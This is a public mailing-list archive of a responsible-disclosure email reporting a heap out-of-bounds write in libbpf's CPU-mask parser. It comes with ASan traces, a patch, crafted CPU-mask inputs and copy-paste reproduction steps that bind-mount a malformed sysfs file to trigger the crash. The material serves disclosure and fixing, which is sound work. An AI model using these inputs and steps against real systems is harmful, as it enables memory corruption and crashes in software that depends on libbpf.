BPF List
 help / color / mirror / Atom feed
* Responsible Disclosure: Heap Out-of-Bounds Write via Integer Underflow in libbpf parse_cpu_mask_str() (libbpf.c:14446)
@ 2026-07-03 12:22 Vuln seeker Cyber Security Team
  2026-07-07 14:47 ` John Fastabend
  0 siblings, 1 reply; 3+ messages in thread
From: Vuln seeker Cyber Security Team @ 2026-07-03 12:22 UTC (permalink / raw)
  To: bpf; +Cc: security


[-- Attachment #1.1: Type: text/plain, Size: 6528 bytes --]

Dear libbpf Security Team,

I am responsibly disclosing a heap out-of-bounds write vulnerability in
libbpf's CPU mask parser. An integer underflow in parse_cpu_mask_str()
causes a memset to write far past a shrunk heap allocation, reachable
end-to-end through the public libbpf_num_possible_cpus() API.

*VULNERABILITY SUMMARY*

parse_cpu_mask_str() in src/libbpf.c validates each parsed CPU range with:

  if (start < 0 || start > end)
      return -EINVAL;

but never checks start against the running *mask_sz. When an out-of-order
or overlapping range is encountered (e.g. "2-3,0-1"), the second iteration
causes realloc(*mask, end+1) to shrink the buffer, after which:

  memset(tmp + *mask_sz, 0, start - *mask_sz)   // libbpf.c:14446

computes start - *mask_sz as a negative int (e.g. 0 - 4 = -4), which
converts to a huge size_t. The memset then writes far past the shrunk
allocation, producing a heap out-of-bounds write.

Two inputs have been confirmed:
  - "2-3,0-1": start - *mask_sz = 0 - 4 = -4 -> negative-size-param
(size=-4)
  - "5,0":     start - *mask_sz = 0 - 6 = -6 -> negative-size-param
(size=-6)

*AFFECTED COMPONENT*

  Repository : https://github.com/libbpf/libbpf
  Commit     : caa25e0b72746fef7ea01497ece7db57187f132c (HEAD validated)
  File       : src/libbpf.c
  Function   : parse_cpu_mask_str() (line 14446)

*CWE CLASSIFICATION*

  Primary    : CWE-191 (Integer Underflow)
  Resultant  : CWE-122 (Heap-based Buffer Overflow)
  Resultant  : CWE-787 (Out-of-bounds Write)

*CALL CHAIN (end-to-end via public API)*

  libbpf_num_possible_cpus()    (libbpf.c:14500  -- LIBBPF_API, exported in
libbpf.map)
    parse_cpu_mask_file("/sys/devices/system/cpu/possible")
 (libbpf.c:14486)
      parse_cpu_mask_str(<file bytes>)
 (libbpf.c:14412)
        memset(tmp + *mask_sz, 0, start - *mask_sz)  OOB
(libbpf.c:14446)

The vulnerability is reached through a documented, exported public symbol
-- not an internal helper. Any libbpf consumer that calls
libbpf_num_possible_cpus() is exposed whenever the bytes at
/sys/devices/system/cpu/possible are malformed or out of order.

*REACHABILITY*

On stock Linux the kernel always writes ascending CPU ranges to
/sys/devices/system/cpu/possible, so the default host sysfs path is safe.
The realistic exposure is:

  - A host or container where that sysfs path is attacker-influenced
(custom or overlay sysfs, crafted mount namespace, or a non-Linux/emulated
CPU-mask source)
  - Any downstream consumer that feeds untrusted CPU-mask strings to the
internal parse_cpu_mask_str helper directly

This is why the CVSS score is conservative (Medium). The crash is genuine
on the shipping public API, not just an internal code path.

*REPRODUCTION*

Prerequisites:
  - clang with AddressSanitizer, libelf-dev, zlib1g-dev, unshare
(util-linux)

Steps:
  1. Clone and build libbpf with ASan:
       git clone https://github.com/libbpf/libbpf.git repo
       cd repo && git checkout caa25e0b72746fef7ea01497ece7db57187f132c
       # Build all .c files with -fsanitize=address and link libbpf.so

  2. Build the e2e harness (calls ONLY the public
libbpf_num_possible_cpus()):
       clang -O1 -g -fsanitize=address -I<incl> e2e.c -Wl,-rpath,.
libbpf.so -o e2e

  3. Bind-mount the crafted possible-cpus file and invoke the public API:
       unshare -m -r sh -c \
         "mount --bind poc-possible-cpus.txt
/sys/devices/system/cpu/possible; \
          ASAN_OPTIONS=abort_on_error=0:exitcode=99 ./e2e"

*Expected output (UNPATCHED):*

  ERROR: AddressSanitizer: negative-size-param: (size=-4)
      #0 in __asan_memset
      #1 in parse_cpu_mask_str    src/libbpf.c:14446
      #2 in parse_cpu_mask_file   src/libbpf.c:14486
      #3 in libbpf_num_possible_cpus  src/libbpf.c:14500
      #4 in main
  0x... is located 2 bytes after 2-byte region [...)
  allocated by thread T0 in parse_cpu_mask_str src/libbpf.c:14440 (realloc)

Valid input "0-31" returns libbpf_num_possible_cpus() = 32 cleanly with no
ASan output.

Full build and run instructions, including the bind-mount technique and
patch verification steps, are provided in the attached REPRODUCE.md.

*SEVERITY ASSESSMENT*

  CVSS 4.0 Vector : AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L
  CVSS 4.0 Score  : 4.0 (Medium)
  CWE             : CWE-122/787 via CWE-191

Scored Medium due to the high attack complexity (attacker must influence
the sysfs path content) and the local attack vector. The integrity and
availability impact is low to moderate: the OOB write corrupts adjacent
heap memory, which can lead to process crash or heap metadata corruption in
sanitized and production builds respectively.

Note: this finding is distinct from CVE-2025-29481 (bpf_object__init_prog);
no existing GHSA or fix commit addresses parse_cpu_mask_str.

*SUGGESTED FIX*

Add a check in parse_cpu_mask_str() to reject a new sub-range whose start
falls below the current *mask_sz, preventing the shrink-then-underflow
sequence:

  if (start < *mask_sz)
      return -EINVAL;  // "CPU range out of order or overlapping"

A verified patch (fix.diff, approximately 5 lines) is attached. It has been
tested against three scenarios:
  - "2-3,0-1": returns -22, log message "CPU range out of order or
overlapping", no crash
  - "5,0":     returns -22, no crash
  - "0-31":    libbpf_num_possible_cpus() = 32, no regression

*ATTACHED ARTIFACTS*

  report.md              Detailed technical assessment
  fix.diff               Unified diff patch (verified at HEAD caa25e0b)
  asan-trace-e2e.txt     ASan trace from the public API e2e harness
  asan-trace.txt         ASan trace from the direct parse_cpu_mask_str
harness
  poc-possible-cpus.txt  Crafted /sys/devices/system/cpu/possible input
("2-3,0-1")
  poc-cpumask.txt        Direct function-level input (same content)
  REPRODUCE.md           Step-by-step reproduction walkthrough

We discovered this issue via static analysis and validated it end-to-end on
2026-06-25 against HEAD commit caa25e0b, with a QA re-validation on a clean
box confirming both the crash and the patch on the same day. We are sharing
this report in accordance with responsible disclosure practices and are
happy to coordinate on a remediation timeline with the libbpf maintainers.

Please do not hesitate to reach out if you require additional information,
a different proof-of-concept format, or clarification on any part of this
report.

Reporter: Yevgen Goncharuk <yevgen@vulnseeker.org>.
Signed-off-by: Yevgen Goncharuk <yevgen@vulnseeker.org>
Author: Yevgen Goncharuk

Best Regards,
Yevgen Goncharuk

[-- Attachment #1.2: Type: text/html, Size: 7826 bytes --]

[-- Attachment #2: asan-trace-e2e.txt --]
[-- Type: text/plain, Size: 2159 bytes --]

# E2E trace — crash reached through the PUBLIC libbpf API libbpf_num_possible_cpus()
# (not the internal parse_cpu_mask_str). The malformed CPU-mask data enters via the
# real file-read path parse_cpu_mask_file() reading /sys/devices/system/cpu/possible.
# A crafted possible-cpus file ("2-3,0-1") was bind-mounted over that sysfs path in an
# unshared mount namespace; the e2e harness calls ONLY libbpf_num_possible_cpus().

=================================================================
==PID==ERROR: AddressSanitizer: negative-size-param: (size=-4)
    #0 <addr> in __asan_memset (<scratch>/e2e+0xca09c)
    #1 <addr> in parse_cpu_mask_str    <scratch>/repo/src/libbpf.c:14446:3
    #2 <addr> in parse_cpu_mask_file   <scratch>/repo/src/libbpf.c:14486:9
    #3 <addr> in libbpf_num_possible_cpus <scratch>/repo/src/libbpf.c:14500:8
    #4 <addr> in main                  <scratch>/e2e.c:4:13
    #5 <addr> in __libc_start_main libc.so.6
    #6 <addr> in _start (<scratch>/e2e+0x2c360)

0x502000000034 is located 2 bytes after 2-byte region [0x502000000030,0x502000000032)
allocated by thread T0 here:
    #0 <addr> in realloc (<scratch>/e2e+0xcc5b0)
    #1 <addr> in parse_cpu_mask_str    <scratch>/repo/src/libbpf.c:14440:9
    #2 <addr> in parse_cpu_mask_file   <scratch>/repo/src/libbpf.c:14486:9
    #3 <addr> in libbpf_num_possible_cpus <scratch>/repo/src/libbpf.c:14500:8
    #4 <addr> in main                  <scratch>/e2e.c:4:13

SUMMARY: AddressSanitizer: negative-size-param (<scratch>/e2e) in __asan_memset
==PID==ABORTING

# Captured at libbpf HEAD caa25e0b72746fef7ea01497ece7db57187f132c.
# OOB memset sink: src/libbpf.c:14446  memset(tmp + *mask_sz, 0, start - *mask_sz)
# shrunk realloc region: src/libbpf.c:14440  realloc(*mask, end + 1)
# Public entry: libbpf_num_possible_cpus() (LIBBPF_API, exported in libbpf.map).
# Second e2e input "5,0" -> negative-size-param (size=-6) at the same sink, same stack.
#
# Patch (fix.diff) re-verified on the SAME e2e harness:
#   crafted "2-3,0-1" -> libbpf: "CPU range out of order or overlapping" -> returns -22, no ASan crash
#   valid   "0-31"    -> libbpf_num_possible_cpus() = 32 (clean)

[-- Attachment #3: asan-trace.txt --]
[-- Type: text/plain, Size: 1452 bytes --]

=================================================================
==PID==ERROR: AddressSanitizer: negative-size-param: (size=-4)
    #0 <addr> in __asan_memset (<scratch>/poc+0xf043c)
    #1 <addr> in parse_cpu_mask_str <scratch>/repo/src/libbpf.c:14446:3
    #2 <addr> in main <scratch>/harness.c:12:15
    #3 <addr> in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #4 <addr> in __libc_start_main csu/../csu/libc-start.c:360:3
    #5 <addr> in _start (<scratch>/poc+0x52700)

0x502000000034 is located 2 bytes after 2-byte region [0x502000000030,0x502000000032)
allocated by thread T0 here:
    #0 <addr> in realloc (<scratch>/poc+0xf2950)
    #1 <addr> in parse_cpu_mask_str <scratch>/repo/src/libbpf.c:14440:9
    #2 <addr> in main <scratch>/harness.c:12:15
    #3 <addr> in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

SUMMARY: AddressSanitizer: negative-size-param (<scratch>/poc) in __asan_memset
==PID==ABORTING

# Trace captured at libbpf HEAD caa25e0b72746fef7ea01497ece7db57187f132c.
# memset OOB write is at src/libbpf.c:14446 (memset(tmp + *mask_sz, 0, start - *mask_sz));
# the shrunk realloc region is allocated at src/libbpf.c:14440 (realloc(*mask, end + 1)).
# Reproduced by linking the real parse_cpu_mask_str from a full ASan build of libbpf
# (clang -O1 -fsanitize=address) against a 3-line harness; input "2-3,0-1".
# Second PoC input "5,0" yields size=-6 at the same sink.

[-- Attachment #4: fix.diff --]
[-- Type: application/octet-stream, Size: 443 bytes --]

diff --git a/src/libbpf.c b/src/libbpf.c
index ab2071f..7ab8932 100644
--- a/src/libbpf.c
+++ b/src/libbpf.c
@@ -14437,6 +14437,11 @@ int parse_cpu_mask_str(const char *s, bool **mask, int *mask_sz)
 			err = -EINVAL;
 			goto cleanup;
 		}
+		if (start < *mask_sz) {
+			pr_warn("CPU range out of order or overlapping in %s\n", s);
+			err = -EINVAL;
+			goto cleanup;
+		}
 		tmp = realloc(*mask, end + 1);
 		if (!tmp) {
 			err = -ENOMEM;

[-- Attachment #5: poc-cpumask.txt --]
[-- Type: text/plain, Size: 8 bytes --]

2-3,0-1

[-- Attachment #6: poc-possible-cpus.txt --]
[-- Type: text/plain, Size: 8 bytes --]

2-3,0-1

[-- Attachment #7: REPORTING.md --]
[-- Type: text/markdown, Size: 792 bytes --]

# Reporting channel — libbpf

- **Channel class:** Kernel security team email (private) — kernel CNA
- **PVR:** OFF — no GitHub Security Advisory route.
- **Primary contact:** `security@kernel.org` — canonical, because libbpf's authoritative source is `tools/lib/bpf` in the kernel bpf-next tree and CVEs are issued by the kernel CNA.
  - Maintainer: Andrii Nakryiko `andrii.nakryiko@gmail.com`
  - Technical list `bpf@vger.kernel.org` is public — NOT for embargoed reports.
- **Alternative (for the standalone/userspace parsing surface OSS-Fuzz exercises):** file via the OSS-Fuzz issue tracker (90-day embargo).
- **Google Patch-Rewards eligible:** ✅ yes (OSS-Fuzz-integrated).

Reporter: Yevgen Goncharuk <yevgen@vulnseeker.org>. Nothing transmitted by tooling — user sends.

[-- Attachment #8: report.md --]
[-- Type: text/markdown, Size: 3551 bytes --]

# libbpf @ caa25e0b72746fef7ea01497ece7db57187f132c (src/libbpf.c:14446, parse_cpu_mask_str)

| Field | Value |
|---|---|
| Verdict | confirmed-poc-e2e (real public API entry point) |
| CVSS | 4.0 Medium AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L |
| Patch | build-verified + e2e-verified (rebuilt at HEAD: blocks both crash inputs through the public API, valid inputs preserved) |
| Dedup | novel |
| Channel | GitHub Private Vulnerability Reporting on libbpf/libbpf; maintainer andrii.nakryiko@gmail.com. OSS-Fuzz-integrated -> landed patch Google Patch-Rewards eligible. |

## PoC
```
E2E via PUBLIC API: AddressSanitizer: negative-size-param (size=-4) in __asan_memset
  <- parse_cpu_mask_str   src/libbpf.c:14446
  <- parse_cpu_mask_file  src/libbpf.c:14486
  <- libbpf_num_possible_cpus  src/libbpf.c:14500   (LIBBPF_API, exported)
  <- main
Write 2 bytes after 2-byte realloc(end+1) region. The malformed CPU mask enters
through the real file path: libbpf_num_possible_cpus() reads
/sys/devices/system/cpu/possible. PoC bind-mounts a crafted possible-cpus file
("2-3,0-1") over that sysfs path in an unshared mount namespace and calls only the
public libbpf_num_possible_cpus() linked against the REAL libbpf.so (clang -O1
-fsanitize=address, all 21 .c files). Second input "5,0" -> size=-6, same stack.
Valid "0-31" -> returns 32; "0-3"/"0-1,2-3" parse cleanly. Reproduced at HEAD
caa25e0b. (A function-level harness calling parse_cpu_mask_str directly also
reproduces — see poc-cpumask.txt — but the e2e PoC above hits the shipping public
entry point, not the internal helper.)
```

## Notes
Heap OOB write in parse_cpu_mask_str: only checks start>end, never start vs running *mask_sz. Out-of-order/overlapping range shrinks buffer via realloc(end+1) then memset(tmp+*mask_sz, 0, start-*mask_sz) underflows int (0-4) -> size_t huge count past shrunk alloc. CWE-122/787 via CWE-191. VERDICT confirmed-poc-e2e: the crash now reproduces through the SHIPPING PUBLIC API libbpf_num_possible_cpus() (LIBBPF_API, exported in libbpf.map) reading /sys/devices/system/cpu/possible via parse_cpu_mask_file -> parse_cpu_mask_str. The e2e harness links the real libbpf.so and references ONLY the public symbol; a crafted possible-cpus file is bind-mounted over the sysfs path in an unshared mount namespace. ASan negative-size-param (size=-4 for "2-3,0-1", size=-6 for "5,0") at src/libbpf.c:14446. Reachability nuance (keeps it Medium): on stock Linux the kernel always writes ascending ranges to that sysfs file, so the default host producer is trusted; realistic exposure is a host/container where that file is attacker-influenced, or a downstream consumer feeding untrusted CPU-mask strings to the helpers. Patch (fix.diff, 5 lines: reject start<*mask_sz) git-apply-checks OK, and re-verified on the e2e harness: blocks both crash inputs (returns -22, "CPU range out of order or overlapping") and preserves valid input (0-31 -> 32). Packet contains: report.md, fix.diff, REPRODUCE.md, READINESS.md, asan-trace.txt, asan-trace-e2e.txt, poc-cpumask.txt, poc-possible-cpus.txt. Box scratch cleaned, no internals leaked. CodeQL note was cpp/missing-check-scanf (benign here) -- right function, wrong reason; real bug is the start-*mask_sz underflow.

## Dedup
Distinct from CVE-2025-29481 (bpf_object__init_prog). No GHSA/commit for parse_cpu_mask_str; sink unchanged in current master line 14446.

Reporter: Yevgen Goncharuk <yevgen@vulnseeker.org>. Validated 2026-06-25; QA re-validated on a clean box at HEAD 2026-06-25 (crash + patch both re-confirmed).

[-- Attachment #9: REPRODUCE.md --]
[-- Type: text/markdown, Size: 6282 bytes --]

# REPRODUCE — libbpf parse_cpu_mask_str heap OOB write

Target: libbpf @ caa25e0b72746fef7ea01497ece7db57187f132c
Sink: `src/libbpf.c:14446` — `memset(tmp + *mask_sz, 0, start - *mask_sz)`
Bug class: CWE-787 / CWE-122 heap out-of-bounds write via CWE-191 int underflow.

## Mechanism
`parse_cpu_mask_str` validates only `start < 0 || start > end`. It never checks
`start` against the running `*mask_sz`. An out-of-order / overlapping CPU range
(e.g. a later sub-range with a smaller end than an earlier one) causes
`realloc(*mask, end + 1)` to SHRINK the buffer, after which
`memset(tmp + *mask_sz, 0, start - *mask_sz)` computes a negative `int`
(`start - *mask_sz`) that converts to a huge `size_t`, writing far past the
shrunk allocation.

- Input `"2-3,0-1"`: iter1 start=2,end=3 -> realloc 4 bytes, mask_sz=4;
  iter2 start=0,end=1 -> realloc 2 bytes (shrink), `start-*mask_sz = 0-4 = -4`
  -> ASan `negative-size-param (size=-4)`.
- Input `"5,0"`: `0-6 = -6` -> `negative-size-param (size=-6)`.

## Confirmed end-to-end: the crash is driven through the PUBLIC libbpf API

The OOB is reached without touching any internal symbol. `libbpf_num_possible_cpus()`
is a `LIBBPF_API` public function (exported in `src/libbpf.map`). It calls
`parse_cpu_mask_file("/sys/devices/system/cpu/possible", ...)`, which `read(2)`s the
file and hands the bytes to `parse_cpu_mask_str`. A malformed possible-cpus file
content reaches the vulnerable `memset`:

```
main
 -> libbpf_num_possible_cpus()          [PUBLIC, libbpf.c:14489]
 -> parse_cpu_mask_file("/sys/.../cpu/possible")  [libbpf.c:14500/14486]
 -> parse_cpu_mask_str(<file bytes>)     [libbpf.c:14412]
 -> memset(tmp + *mask_sz, 0, start - *mask_sz)  OOB  [libbpf.c:14446]
```

### Build + run (copy-paste, e2e)
Requires clang with ASan, libelf-dev, zlib1g-dev, git, and `unshare` (util-linux).

```sh
SCRATCH=$(mktemp -d)
cd "$SCRATCH"
git clone https://github.com/libbpf/libbpf.git repo
cd repo
git checkout caa25e0b72746fef7ea01497ece7db57187f132c   # or current HEAD

# Build every libbpf .c with ASan (-fPIC for the shared library)
cd src
for f in *.c; do
  clang -O1 -g -fsanitize=address -fno-omit-frame-pointer -fPIC -D_GNU_SOURCE \
    -I. -I../include -I../include/uapi -c "$f" -o "$SCRATCH/obj_${f%.c}.o"
done

# Link the REAL libbpf shared object (exports libbpf_num_possible_cpus)
clang -shared -fsanitize=address -o "$SCRATCH/libbpf.so" "$SCRATCH"/obj_*.o -lelf -lz
nm -D "$SCRATCH/libbpf.so" | grep libbpf_num_possible_cpus   # exported public symbol

# Public-header include tree for <bpf/libbpf.h>
mkdir -p "$SCRATCH/incl/bpf"; cp "$SCRATCH/repo/src/"*.h "$SCRATCH/incl/bpf/"

# E2E harness: calls ONLY the public API — no internal symbol references
cat > "$SCRATCH/e2e.c" <<'EOF'
#include <stdio.h>
#include <bpf/libbpf.h>
int main(void) {
    int n = libbpf_num_possible_cpus();
    printf("libbpf_num_possible_cpus() = %d\n", n);
    return 0;
}
EOF
clang -O1 -g -fsanitize=address -I"$SCRATCH/incl" "$SCRATCH/e2e.c" \
    -Wl,-rpath,"$SCRATCH" "$SCRATCH/libbpf.so" -o "$SCRATCH/e2e"

# Crafted malformed possible-cpus files (real product input)
printf "2-3,0-1\n" > "$SCRATCH/fake_possible"     # out-of-order range  -> size=-4
printf "5,0\n"     > "$SCRATCH/fake_possible2"     # -> size=-6
printf "0-31\n"    > "$SCRATCH/valid_possible"     # valid -> 32 cpus

# Drive the REAL path: bind-mount the crafted file over sysfs in a private mount ns,
# then call the public API. (unshare -r maps to root inside the user+mount ns.)
run() { unshare -m -r sh -c "mount --bind \"$1\" /sys/devices/system/cpu/possible; \
        ASAN_OPTIONS=abort_on_error=0:exitcode=99 \"$SCRATCH/e2e\""; echo "exit=$?"; }

run "$SCRATCH/fake_possible"     # AddressSanitizer: negative-size-param (size=-4), exit=99
run "$SCRATCH/fake_possible2"    # negative-size-param (size=-6), exit=99
run "$SCRATCH/valid_possible"    # libbpf_num_possible_cpus() = 32, exit=0
```

Observed ASan stack (see `asan-trace-e2e.txt`):
`__asan_memset <- parse_cpu_mask_str:14446 <- parse_cpu_mask_file:14486 <- libbpf_num_possible_cpus:14500 <- main`.

The PoC input file `poc-possible-cpus.txt` contains `2-3,0-1` (place it at
`/sys/devices/system/cpu/possible`, e.g. via the bind-mount above). The original
direct-call input file `poc-cpumask.txt` (also `2-3,0-1`) remains for the
function-level harness.

## Patch verification (re-run against the e2e harness)
```sh
cd "$SCRATCH/repo"
git apply --check /path/to/fix.diff   # applies clean at HEAD
git apply /path/to/fix.diff
# rebuild libbpf.c, relink libbpf.so, re-run the SAME e2e harness:
cd src
clang -O1 -g -fsanitize=address -fno-omit-frame-pointer -fPIC -D_GNU_SOURCE \
  -I. -I../include -I../include/uapi -c libbpf.c -o "$SCRATCH/obj_libbpf.o"
clang -shared -fsanitize=address -o "$SCRATCH/libbpf.so" "$SCRATCH"/obj_*.o -lelf -lz
#   run fake_possible  ("2-3,0-1") -> libbpf: "CPU range out of order or overlapping" -> returns -22, no crash, exit=0
#   run fake_possible2 ("5,0")     -> returns -22, no crash, exit=0
#   run valid_possible ("0-31")    -> libbpf_num_possible_cpus() = 32, exit=0
```
Confirmed: patch blocks both e2e crash inputs through the public API and preserves
valid input parsing.

## Reachability note (updated — e2e via public API)
`libbpf_num_possible_cpus()` is a PUBLIC, exported API (`LIBBPF_API`, present in
`src/libbpf.map`). It reads `/sys/devices/system/cpu/possible` and parses its
contents through `parse_cpu_mask_file` -> `parse_cpu_mask_str`. The OOB write is
therefore reachable end-to-end from a normal libbpf consumer whenever the bytes at
that sysfs path are malformed/out-of-order. On stock Linux the kernel always emits
ascending ranges there, so the default host path is safe; the realistic exposure is
(a) a host/container where that file is attacker-influenced (custom/overlay sysfs,
crafted mount, or a non-Linux/emulated cpu-mask source), or (b) any downstream
consumer that feeds untrusted CPU-mask strings to the internal helpers. The crash
is genuine on the SHIPPING public API, not just the internal helper. Scored Medium
(CVSS 4.0, AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L) because the default sysfs producer
is trusted; the e2e PoC demonstrates the sink is reachable through the public entry
point given malformed input at that path.

^ permalink raw reply related	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2026-07-08  7:33 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-03 12:22 Responsible Disclosure: Heap Out-of-Bounds Write via Integer Underflow in libbpf parse_cpu_mask_str() (libbpf.c:14446) Vuln seeker Cyber Security Team
2026-07-07 14:47 ` John Fastabend
2026-07-08  7:33   ` Vuln seeker Cyber Security Team

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox